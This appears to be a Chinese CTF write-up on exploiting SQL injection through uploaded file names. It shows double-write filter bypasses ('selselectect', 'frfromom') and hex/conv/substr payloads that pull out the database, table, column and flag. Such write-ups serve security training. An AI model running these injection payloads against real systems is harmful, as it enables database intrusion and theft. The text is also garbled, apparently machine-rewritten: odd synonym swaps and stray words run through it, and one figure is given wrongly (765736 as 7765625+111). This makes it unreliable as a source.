存在于文件名中的SQL手工注入

SQL注入已经在前一章为你们介绍了个大概,本文将讲述我遇到的本觉得是文件上传漏洞,倒是以文件名触发的SQL注入!web

本文分享的内容一样来自于一道CTF题!sql

1. 直接进入正题shell

      (1) 初步探测数据库

       先看一下主页面(题目须要注册登陆,这里直接跳过了)浏览器

       

        就这个页面,我不知道你看到的时候会怎么认为,个人第一想法就是他必定是一个文件上传漏洞拿flag。因而我开始了我得上传之旅,一开始仍是有一些欣喜,以为超简单的一道题:文件上传拿shell就完事了。因而经过burp抓包,修改请求头,成功的将小立刻传到了服务器(这里很少解释,文件上传之后再和你们分享)。却发现根本没法得到文件所在路径,也就是只能上传,却没法利用。安全

        小结:当思考网站是否为文件上传漏洞时,不只仅要考虑是否能上传木马文件,还要考虑文件被上传到服务器之后,文件所在的位置,也就是可否被利用。(本题大牛应该直接就能发现不是文件上传,由于根本没法得到上传文件所在路径)服务器

   (2)尝试进行SQL注入测试

        没办法只能继续寻找漏洞所在,再来看一下上传了几个文件以后的网站:网站

 

         在页面(上图)中能够清楚地看到已经上传的文件(名)。这说明文件被上传到了数据库中,同时浏览器从数据库中读取了上传的文件,那么这个过程就有可能触发SQL注入。因而在文件名中先尝试输入select database() 命令(我认为如今不必直接去探测数据库逻辑,构造可执行的SQL语句,不过你也能够直接构造能在服务器可SQL语句格式)并上传。编码

 

         你会发现当文件名为select database().jpg的时候,输出的文件名为database().jpg。而当输入文件名为aaa database().jpg时,输出的文件名也为aaa database().jpg。那么就可判断,服务器将select过滤了,而后在尝试其余命令,发现from也被过滤掉了。(select database()是暴数据库名的一种方式)

   (3)尝试绕过

        既然服务器将select命令过滤掉了,那说名必定有猫腻,那么就尝试绕过。

        首先尝试解决select和from被过滤的问题,我尝试了编码方式,发现服务器返回信息没有解码,这说明编码后在数据库中不能将其转变成命令执行,所以不可行。而后尝双写(也是一种常见的绕过方式)。惊喜的发现selselectect能够成功绕过。一样frfromom也能成功绕过。

        由以上得出结论服务器可能存在SQL注入。(由于在文件名中过滤掉了select 和from两个经常使用SQL命令,并成功绕过了过滤)

 2. 肯定文件名触发SQL注入

解决了过滤,我盟来构造一下可以被数据库执行的SQL语句,

(1) 猜想服务器经过命令:insert into  表名('filename',...)  values('你上传的文件名',...);来将数据存储到数据库。

(2) 构造语句:'+(selselectect database())+' 。

(3) 拼接后的sql语句为:insert into  表名('filename',...) values('文件名'+(selselectect cdatabase())+'.jpg',...);

所以尝试   1'+(selselectect database())+'.jpg 。服务器返回0,说明SQL语句被执行了,但没法输出执行结果。

 

3. 开始操做

       首先考虑是返回数据时数据被过滤掉了,尝试改成输出十六进制,'+(selselectect hex(database()))+'.jpg 。服务器返回" 7765625 "。

        7765625解码为" web "。(貌似成功注入)这里我当时也是信誓旦旦的觉得完成了,能够进一步猜表猜字段了。

        可是要注意的是本题还设置了一种截断,即:插入数据库文件名中若是包括SQL语句,那么在返回信息时,服务器将对字母进行截断(某些特殊字符也会截断或过滤)。这是一个很大的坑,可是若是你经验丰富可能很容易发现这个截断,判断依据以下:

         由于当你构造的文件名为  '+(selselectect hex(database()))+'.jpg 。服务器返回" 7765625 "。而输入 111'+(selselectect hex(database()))+'.jpg 时,返回的信息为765736 (=7765625+111)。

         但输入 a111'+(selselectect hex(database()))+'.jpg 时,仍返回7765625。

        所以便可以说明命令:1'+(selselectect hex(database()))+'.jpg的返回值为何为0(由于返回数据是字符,不是数值,所以只能返回0)。也能够判断服务器进行了字符(英文字母等)截断。 

        解决办法是:尝试其余进制表示。二进制表示失败(多是服务器设置问题,我也没咋弄清楚为啥二进制返回0)。因而使用conv命令,将16进制转换为10进制:CONV(N,from_base,to_base)   N是要转换的数据,from_base是原进制,to_base是目标进制。

      (1) 构造命令:'+(selselectect conv(hex(database()),16,10))+'.jpg 。返回一个带小数点的数值。

         这是由于返回值太大,系统使用科学计数法(xx e xxxxx)表示,所以使用substr作长度限制。substr(str,pos,len)  str字符串,从pos开始的位置,截取len个字符(空白也算字符)。

       (2) 构造命令:'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg ,(通过不断测试发现长度最大为12,长度大于12返回值就会以科学计数法表示)返回10进制数:131277325825392 转化为16进制为7765625f7570,转换成字符:web_up(Unicode编码:12个字节至关于6个字符)

            构造命令'+(selselectect conv(substr(hex(database()),13,25),16,10))+ '.jpg ,返回10进制数:1819238756 转化为16进制为6c6f6164,转换成字符:load

            获得数据库名:web_upload

         (3) 获得数据库名,那么就能够猜表名了。

            构造命令: '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg

             '+(selselectect+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg

            经过改变substr的参数,最后将获得的字符链接获得表名:hello_flag_is_here

         (4) 获得表名,那么猜字段。

            构造命令: '+(seleselectect+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg

            经过改变substr的参数,最后将获得的字符链接获得字段:i_am_flag

          (5) CTF的宗旨,能够拿flag了。

            构造命令: '+(selselectect+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

            经过改变substr的参数,最后将获得的字符链接获得flag。 拿到flag,注入完成。

      具体暴库过程,可参考上一篇文章

4. 总结

知识点:

         文件上传,不只要注意是否能上传,还要考虑文件位置。文件是否可以被利用。

         与数据库交互并回显,有可能触发SQL注入。

          SQL语句重写绕过。

          SQL语句的巧妙构造。

         编码转换的巧妙运用。

本文供安全人员参考。以上是小白给你们的经验分享,望大佬们多多指教 Thank You !

相关文章
相关标签/搜索